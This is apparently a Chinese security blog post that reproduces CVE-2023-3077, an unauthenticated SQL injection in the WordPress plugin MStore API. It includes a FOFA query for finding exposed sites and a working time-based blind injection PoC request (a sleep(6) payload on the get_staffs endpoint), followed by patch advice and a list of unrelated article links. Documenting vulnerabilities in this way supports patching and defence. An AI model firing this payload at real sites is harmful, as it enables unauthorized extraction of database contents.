当前位置： 首页 > news >正文

WordPress plugin MStore API SQL注入漏洞复现(CVE-2023-3077)

news 来源：原创 2024/9/29 9:35:51

0x01 产品简介

WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。

0x02 漏洞概述

WordPress plugin MStore API 3.9.8 版本之前存在SQL注入漏洞，该漏洞源于没有正确清理或转义某些字段，导致出现SQL注入，未经身份验证的远程攻击者可获取数据库敏感信息。

0x03 复现环境

FOFA：body="/wp-content/plugins/mstore-api/"

0x04 漏洞复现

PoC

POST /wp-json/api/flutter_booking/get_staffs?product_id=%27+or+ID=sleep(6)--+- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

延时6秒

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

将插件升级至安全版本

相关文章：

  • axios七大特性
  • Golang 协程和 Channel 的协同工作
  • Facebook开户 | Facebook二不限户
  • java —— 匿名内部类与 Lambda 表达式
  • python-最接近target的值
  • R语言绘图 --- 柱状图（Biorplot 开发日志 --- 3）
  • Tree——输出项目的文件结构（Linux）
  • 多项目的.net core解决方案（项目间引用）如何使用Docker部署
  • keepalived安装文档
  • Python知识点11---高阶函数
  • 冒泡排序与快速排序
  • C#中的值类型与引用类型
  • 计算机毕业设计 | SpringBoot+vue仓库管理系统(附源码)
  • 欧科云链:Web3.0时代 具备链上数据分析能力的公司愈发凸显其价值
  • JCR一区级 | Matlab实现TCN-BiGRU-MATT时间卷积双向门控循环单元多特征分类预测
  • canvas 五子棋游戏
  • Cookie 在前端中的实践
  • CSS3 聊天气泡框以及 inherit、currentColor 关键字
  • Git的一些常用操作
  • java 多线程基础, 我觉得还是有必要看看的
  • java2019面试题北京
  • Python进阶细节
  • REST架构的思考
  • SpiderData 2019年2月13日 DApp数据排行榜
  • spring + angular 实现导出excel
  • WinRAR存在严重的安全漏洞影响5亿用户
  • 关于springcloud Gateway中的限流
  • 京东美团研发面经
  • 巧用 TypeScript （一）
  • 入手阿里云新服务器的部署NODE
  • 深度解析利用ES6进行Promise封装总结
  • 双管齐下，VMware的容器新战略
  • ionic异常记录
  • 交换综合实验一
  • 浅谈sql中的in与not in,exists与not exists的区别
  • ​linux启动进程的方式
  • #if #elif #endif
  • #laravel部署安装报错loadFactoriesFrom是undefined method #
  • #pragma multi_compile #pragma shader_feature
  • （1）(1.19) TeraRanger One/EVO测距仪
  • （10）ATF MMU转换表
  • （6）添加vue-cookie
  • (AngularJS)Angular 控制器之间通信初探
  • (C#)获取字符编码的类
  • (C++17) std算法之执行策略 execution
  • （SpringBoot）第七章：SpringBoot日志文件
  • (汇总)os模块以及shutil模块对文件的操作
  • （论文阅读11/100）Fast R-CNN
  • （十七）Flink 容错机制
  • （四）汇编语言——简单程序
  • （推荐）叮当——中文语音对话机器人
  • (转)Linq学习笔记
  • （轉）JSON.stringify 语法实例讲解
  • .java 指数平滑_转载：二次指数平滑法求预测值的Java代码
  • .NET C# 使用 iText 生成PDF